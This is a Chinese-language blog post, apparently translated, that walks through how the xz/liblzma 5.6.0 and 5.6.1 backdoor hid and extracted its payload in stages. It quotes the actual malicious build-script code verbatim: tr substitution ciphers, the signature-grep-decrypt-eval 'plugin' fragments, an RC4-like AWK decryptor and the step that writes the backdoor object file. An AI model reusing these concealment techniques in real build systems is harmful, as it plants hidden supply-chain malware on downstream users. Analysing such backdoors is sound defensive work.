知名壓縮軟件 xz 被植入後門,黑客究竟是如何做到的?

昨天,Andres Freund 通過電子郵件告知 oss-security@ 社區,他在 xz/liblzma 中發現了一個隱藏得非常巧妙的後門,這個後門甚至影響到了 OpenSSH 服務器的安全。Andres 能夠發現並深入調查這個問題,實在令人敬佩。他在郵件中對整個事件進行了全面的總結,所以我就不再贅述了。

誠然,這個故事中最吸引眼球、最耐人尋味的部分,無疑是那個經過重重混淆的、藏有後門的二進制文件。然而,勾起我興趣的,卻是 bash 腳本一開始的那幾段代碼,以及其中運用的簡單而巧妙的混淆技法。接下來,就讓我們沿着黑客的足跡,一層層揭開這個謎題的面紗,領略大師級的隱藏技巧。不過請注意,我並不打算事無鉅細地解釋每段 bash 代碼的所有功能,而是着重剖析它們是如何被層層混淆、又是如何被逐一提取出來的。這纔是其中的精髓所在。

在正式開始之前,有幾點不得不提:

  1. 這個後門影響了 xz/liblzma 的兩個版本:5.6.0 和 5.6.1。這兩個版本之間存在一些細微的差異,我會盡量在分析過程中同時覆蓋到它們。
  2. bash 腳本部分可以劃分爲三個 (也可能是四個) 主要階段,我將其稱爲 Stage 0、Stage 1 和 Stage 2。Stage 0 是指在 m4/build-to-host.m4 文件中添加的啓動代碼。至於潛在的 “Stage 3”,雖然我懷疑它尚未完全成型,但也會略作提及。
  3. 那些經過混淆和加密的代碼,以及後面的二進制後門,都藏身於兩個看似無害的測試文件中:tests/files/bad-3-corrupt_lzma2.xztests/files/good-large_compressed.lzma。切莫小覷了它們。

讓我們先來看看 Stage 0 ——這個謎題的開端。

Stage 0

正如 Andres 所指出的,一切的起點都在 m4/build-to-host.m4 文件。讓我們逐步解讀其中的玄機:

...
gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
...
gl_path_map='tr "\t \-_" " \t_\-"'
...
  1. 首先,它從 tests/files/bad-3-corrupt_lzma2.xz 文件中讀取字節流,並將其輸出,作爲下一步的輸入。讀取完所有內容後,它還會額外添加一個換行符。這種步步相扣的方式在整個過程中隨處可見。

  2. 第二步是執行 tr 命令,將某些字符 (或字節值) 映射爲其他字符。來看幾個例子:

    echo "BASH" | tr "ABCD" "1234"  
    21SH
    

    在這個示例中,“A” 被映射爲 “1”,“B” 被映射爲 “2”,依此類推。

    我們也可以指定字符範圍。例如在上面的示例中,我們只需將 “ABCD” 更改爲 “A-D”,並對目標字符集執行相同的操作:“1-4”:

    echo "BASH" | tr "A-D" "1-4"
    21SH
    

    類似地,我們可以指定它們的 ASCII 代碼的八進制形式。所以 “A-D” 可以改成 “\101-\104”,“1-4” 可以變成 “\061-\064”。

    echo "BASH" | tr "\101-\104" "\061-\064"
    21SH
    

    回到我們的代碼中,tr "\t \-_" " \t_\-" 對來自 tests/files/bad-3-corrupt_lzma2.xz 文件的字節流做了如下替換:

    • 0x09 (\t) 被替換爲 0x20

    • 0x20 (空格) 被替換爲 0x09

    • 0x2d (-) 被替換爲 0x5f

    • 0x5f (_) 被替換爲 0x2d

    這一番調換,實際上起到了 “修復” bad-3-corrupt_lzma2.xz 文件的作用,讓它重獲新生,成爲一個合法的 xz 數據流。

  3. 在 Stage 0 的壓軸戲中,修復後的 xz 字節流被提取出來,並對過程中的錯誤選擇性地忽略。而這個過程的成果,正是 Stage 1 的腳本,它隨即自我執行起來。

接下來,讓我們關注 Stage 1 ——那個充滿神祕色彩的開端。

Stage 1

在 Andres 的郵件中,Stage 1 對應的是那個以 “####Hello####” 開頭的 bash 文件。它雖然篇幅不長,但值得我們仔細研讀,並留意 5.6.0 和 5.6.1 版本之間的差異 (以黃色字體做標記):

第一個區別是第二行註釋中的隨機字節:

  • 在 5.6.0 版本中是 86 F9 5A F7 2E 68 6A BC
  • 在 5.6.1 版本中是 E5 55 89 B7 24 04 D8 17

我不確定這些差異是否有任何意義,但我還是想指出來。

其中一處引人注目的差異是,5.6.1 版本新增了一段檢查腳本是否運行於 Linux 的代碼,並重復出現了 5 次,頗有幾分懺悔和自我約束的意味。

下面我們把目光轉向 Stage 2 的提取代碼,就是那個長度驚人的 export i=... 語句,裏面塞滿了 head 命令。讓我們仔細分析一下它的運作機制:

  1. 開頭的 export i=... 其實定義了一個 “函數”,在第 3 步和 Stage 2 中被調用。

  2. 提取 Stage 2 的第一步,是使用 xz 解壓 good-large_compressed.lzma 文件,並將解壓後的數據傳遞給下一步。這開啓了一系列環環相扣的 “接力賽”。

  3. 緊接着,i “函數” 登場 (eval $i)。這個函數由一系列 head 命令組成,要麼輸出接下來的 N 個字節,要麼徹底忽略它們。

    最初的代碼:

    (head -c +1024 >/dev/null)
    

    這裏的 -c +1024 選項告訴 head 只讀取和輸出來自輸入數據流的接下來的 1024 個字節 (請注意,這裏的 + 將會被忽略,它不會做任何事情,這與 tail 命令不一樣)。但是,由於輸出在這種情況下被重定向到 /dev/null,我們實際得到的是 “跳過接下來的 1024 個字節”。

    值得注意的是,如果我們仔細觀察 good-large_compressed.lzma 解壓後的前 1024 個字節,會發現它幾乎全是重複了 1024 次的字符 “A” (字節 0x41)。有趣的是,在第一個 1024 個字符之後,還隱藏着一些神祕的二進制數據。

    下一個 head 調用看起來和之前幾乎相同,只是長度不同:

    head -c +2048
    

    注意這裏的輸出不會被忽略,它將作爲輸入傳遞給下一步。

    這個模式反覆出現:1024 個字節被跳過,然後 2048 個字節被輸出,1024 個字節被跳過,2048 個輸出...如此循環,直到文件的末尾,在 5.6.0 版本中只輸出 724 個字節,而在 5.6.1 版本中只輸出 939 個字節。

    爲了直觀地呈現這一點,這裏展示了這組 head 調用處理的實際輸入數據。字節 0 在文件的左上角;每一列表示文件的 256 個字節,以灰度表示。請注意高熵 (“嘈雜”) 區域之間的 “空灰” 區域 – 腳本的這一部分基本上是刪除空白區域,將蘊藏數據的區域合二爲一。

  4. 在下一步中,使用 tail -c +31233 命令丟棄數據的前部 (劇透一下:那裏隱藏了一扇二進制後門,它將在下一個階段被打開,所以現在還用不到它)。在 5.6.0 版本中,丟棄的是前 31264 個字節,而在 5.6.1 版本中是 31232 個字節 (一個字節的差異是因爲 tail -c +N 的意思是 “從第 N 個字節開始輸出”,而不是 “忽略前 N 個字節”)。

  5. 第 5 步重新使用了 tr 命令,在這裏它被用作一個簡單的替換密碼,在 5.6.0 和 5.6.1 版本中有不同的密鑰 (字節值映射):

    5.6.0: tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377"
    5.6.1: tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377"
    

    根據之前的解釋,這基本上意味着 (對於 5.6.0 版本) 值爲 5 的字節將被值爲 0 的字節替換,值爲 6 的字節將被值爲 1 的字節替換,依此類推。在每種情況下,都有 6 個範圍映射到整個 0 - 255 (即八進制的 377) 範圍。

    整個過程反覆上演着這樣的 “捉迷藏” 遊戲:跳過 1024 字節,然後輸出 2048 字節,再跳過 1024 字節,再輸出 2048 字節…… 直到抵達文件的盡頭。

這部分腳本的真正任務,是剔除其中的 “廢料”,將有價值的數據部分連綴成完整的數據流。

  1. 下一步中,數據流的前面一大段被果斷拋棄。
  2. 往後是藉助 tr 命令實施簡單的替換加密,5.6.0 和 5.6.1 版本使用了不同的密鑰。
  3. 最後,加密後的數據經過解壓縮,呈現出 Stage 2 腳本的真容,並立即投入自我執行的懷抱。

現在,讓我們進入 Stage 2,一探究竟。

Stage 2

Stage 2 就是 Andres 郵件中提到的 infected.txt 文件 (我手頭只有 5.6.0 版本)。這個 bash 腳本可謂洋洋灑灑,正是在這裏,編譯過程遭到了不軌的修改。

以混淆的視角審視這個腳本,有三個片段值得我們特別關注,其中兩個僅在 5.6.1 版本中才顯露真容

Stage 2 擴展機制

首先是 Stage 2 的 “擴展” 機制:

片段 1:

vs=`grep -broaF '~!:_ W' $srcdir/tests/files/ 2>/dev/null`
if test "x$vs" != "x" > /dev/null 2>&1;then
f1=`echo $vs | cut -d: -f1`
if test "x$f1" != "x" > /dev/null 2>&1;then
start=`expr $(echo $vs | cut -d: -f2) + 7`
ve=`grep -broaF '|_!{ -' $srcdir/tests/files/ 2>/dev/null`
if test "x$ve" != "x" > /dev/null 2>&1;then
f2=`echo $ve | cut -d: -f1`
if test "x$f2" != "x" > /dev/null 2>&1;then
[ ! "x$f2" = "x$f1" ] && exit 0
[ ! -f $f1 ] && exit 0
end=`expr $(echo $ve | cut -d: -f2) - $start`
eval `cat $f1 | tail -c +${start} | head -c +${end} | tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377" | xz -F raw --lzma2 -dc`
fi
fi
fi
fi

片段 2:

vs=`grep -broaF 'jV!.^%' $top_srcdir/tests/files/ 2>/dev/null`
if test "x$vs" != "x" > /dev/null 2>&1;then
f1=`echo $vs | cut -d: -f1`
if test "x$f1" != "x" > /dev/null 2>&1;then
start=`expr $(echo $vs | cut -d: -f2) + 7`
ve=`grep -broaF '%.R.1Z' $top_srcdir/tests/files/ 2>/dev/null`
if test "x$ve" != "x" > /dev/null 2>&1;then
f2=`echo $ve | cut -d: -f1`
if test "x$f2" != "x" > /dev/null 2>&1;then
[ ! "x$f2" = "x$f1" ] && exit 0
[ ! -f $f1 ] && exit 0
end=`expr $(echo $ve | cut -d: -f2) - $start`
eval `cat $f1 | tail -c +${start} | head -c +${end} | tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377" | xz -F raw --lzma2 -dc`
fi
fi
fi
fi

這兩個代碼片段幾乎完全相同,所以讓我們可以同時處理這兩個片段。它們的作用如下:

  1. 它在 tests/files/ 目錄下搜尋 (grep -broaF) 具有特定簽名的兩個文件:

    Fragment 1: "~!:_ W" and "|_!{ -"
    Fragment 3: "jV!.^%" and "%.R.1Z"
    
  2. 如果找到它們,就提取每個文件的偏移量 (cut -d: -f2,假定 : 是字段分隔符,則取第 2 個字段),以第一個偏移量加 7 爲 $start,以第二個文件的偏移量作爲 $end。

  3. 掌握了 $start 和 $end 這兩個關鍵信息後,腳本就能從第一個文件中提取 $start 到 $end 之間的內容。

    cat $f1 | tail -c +${start} | head -c +${end}
    
  4. 接下來,它使用和 Stage 1 如出一轍的替換解密方式 (對於 5.6.0 版本的密鑰)。

    tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377"
    
  5. 最後,解密後的數據再次經過解壓縮,然後立即執行:

    eval `... | xz -F raw --lzma2 -dc`
    

有趣的是,在我分析的兩個版本中,都沒有任何文件真正匹配這裏的簽名。因此,整個過程更像是一種 “插件/補丁” 機制,它允許我們在不修改原始 payload 的前提下,向 Stage 2 中注入新的腳本。

這是一個明智的設計,因爲反覆修改 “壞” 和 “好” 的測試文件是非常可疑的行爲,可能會引起他人的注意。因此,他們的計劃似乎是隻添加新的測試文件,這些文件會被選中、解密並執行。

Stage 2 後門提取

然後是 Stage 2 中的後門提取過程。在某個關鍵時刻,一個 .o 文件會被悄然提取出來,並巧妙地嵌入編譯和鏈接的流程中。以下代碼就是這個環節的主謀(和之前一樣,我將用黃色字體區分兩個版本的差異):

兩個版本之間的差異,主要體現在壓縮後的 payload 大小略有不同(5.6.0 版本的 payload 大小爲 88792,而 5.6.1 版本的 payload 大小爲 88664),以及 AWK 腳本中的一個神祕常量有所變化。

與前面的步驟如出一轍,提取過程由一系列命令的完美配合構成。其中一些步驟與 Stage 1 遙相呼應,因爲二進制的 payload 就安睡在 “good” 文件數據尚未開墾的處女地。讓我們沿着腳印,一步步探尋:

  1. 第一步與 Stage 1的第二步相同,用 xz 解壓 tests/files/good-large_compressed.lzma 文件。

  2. 第二步同樣與 Stage 1 的第三步一致,調用了先前的那個 “很多 head” 的函數。

  3. 從這裏開始,事情就有所不同了。首先,前一步的輸出通過 sed 命令進行了修改:

    LC_ALL=C sed "s/\(.\)/\1\n/g"
    

    這個命令的作用是在每個字節後面添加一個換行符(除了換行符本身)。最終,我們得到了一個每行只有一個字節的輸出(沒錯,這裏大量混合了處理文件的"文本"和"二進制"方法)。下一步恰好需要這種格式。

  4. 下一步,一個 AWK 腳本粉墨登場,它對輸入流進行類似 RC4 的解密工作。以下是該腳本的美化版本:

    BEGIN {  # Initialization part.
      FS = "\n";  # Some AWK settings.
      RS = "\n";
      ORS = "";
      m = 256;
      for(i=0;i<m;i++) {
        t[sprintf("x%key", i)] = i;
        key[i] = ((i * 7) + 5) % m;  # Creating the cipher key.
      }
      i=0;  # Skipping 4096 first bytes of the output PRNG stream.
      j=0;  # ↑ it's a typical RC4 thing to do.
      for(l = 0; l < 4096; l++) {  # 5.6.1 uses 8192 instead.
        i = (i + 1) % m;
        a = key[i];
        j = (j + a) % m;
        key[i] = key[j];
        key[j] = a;
      }
    }
    
    {  # Decription part.
      # Getting the next byte.
      v = t["x" (NF < 1 ? RS : $1)];
    
      # Iterating the RC4 PRNG.
      i = (i + 1) % m;
      a = key[i];
      j = (j + a) % m;
      b = key[j];
      key[i] = b;
      key[j] = a;
      k = key[(a + b) % m];
    
      # As pointed out by @nugxperience, RC4 originally XORs the encrypted byte
      # with the key, but here for some add is used instead (might be an AWK thing).
      printf "%key", (v + k) % m
    }
    
  5. 解密後的數據再次通過 xz 解壓縮,重獲新生。

    xz -dc --single-stream
    
  6. 最後,使用相同的常用 head 技巧提取從 N(0)到 W(約 86KB)的字節,並將其保存爲 liblzma_la-crc64-fast.o——這就是最終的二進制後門文件。

    ((head -c +$N > /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o
    

總結

通過以上分析,我們可以看到,有人煞費苦心地將這個後門隱藏得如此巧妙,令人歎爲觀止。從將 payload 藏匿於看似無害的二進制測試文件之中,到運用文件提取、替換加密、RC4 變種等技巧,再到將整個過程拆分爲多個執行階段,並預留 “插件” 機制以備將來之需,這一切無不凸顯出幕後黑客的心思縝密和技藝精湛。

然而,這個案例也給我們敲響了警鐘:**如果這樣一個精心設計的後門都是要靠意外才能發現,那麼,還有多少潛藏的威脅尚未浮出水面?我們又該如何及早發現並防範這些威脅?**這需要安全社區每一位成員保持警惕,用更加縝密的思維去分析每一處細節,去揭示每一個蛛絲馬跡。只有如此,我們才能築起維護網絡安全的堅實防線。

原文鏈接🔗:https://gynvael.coldwind.pl/?lang=en&id=782

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章